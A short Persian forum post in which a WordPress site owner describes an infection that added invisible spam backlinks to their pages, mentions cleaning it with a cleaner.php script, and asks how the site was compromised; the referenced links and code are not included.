با کمی جستجو به این نتیجه رسیدم که این خطوط باعث می شن که تعداد زیادی لینک به طور نامرئی به آخر صفحات وردپرس اضافه می شه و به این ترتیب تعداد زیادی بک لینک از شما گرفته می شه(اسپم جدید)!
حالا راه حل در این جا یافت شد:

موضوع های دیگری در مورد این مشکل بحث شده است:

این روسیه به انگلیسی ترجمه کنید:

در اخر هم باید بگم که فایل cleaner.php که در صفحه راه حل بود رو در ریشه اپلود کردم و اجرا نمودم و تمام فایل ها رو پاکسازی کرد.
فقط یکم طول می کشه...
برای مشاهده لینک هایی که این ویروس به صفحات شما اضافه می کنه به کد منبع صفحات توجه کنید.
وبلاگ سایت بازی آنلاین ما رو به عنوان دیدن نتیجه فایل cleaner.php می تونید مشاهده کنید.
حالا هر کسی از دوستان فهمید که ما چطور آلوده شدیم لطفا بگه .
با تشکر.
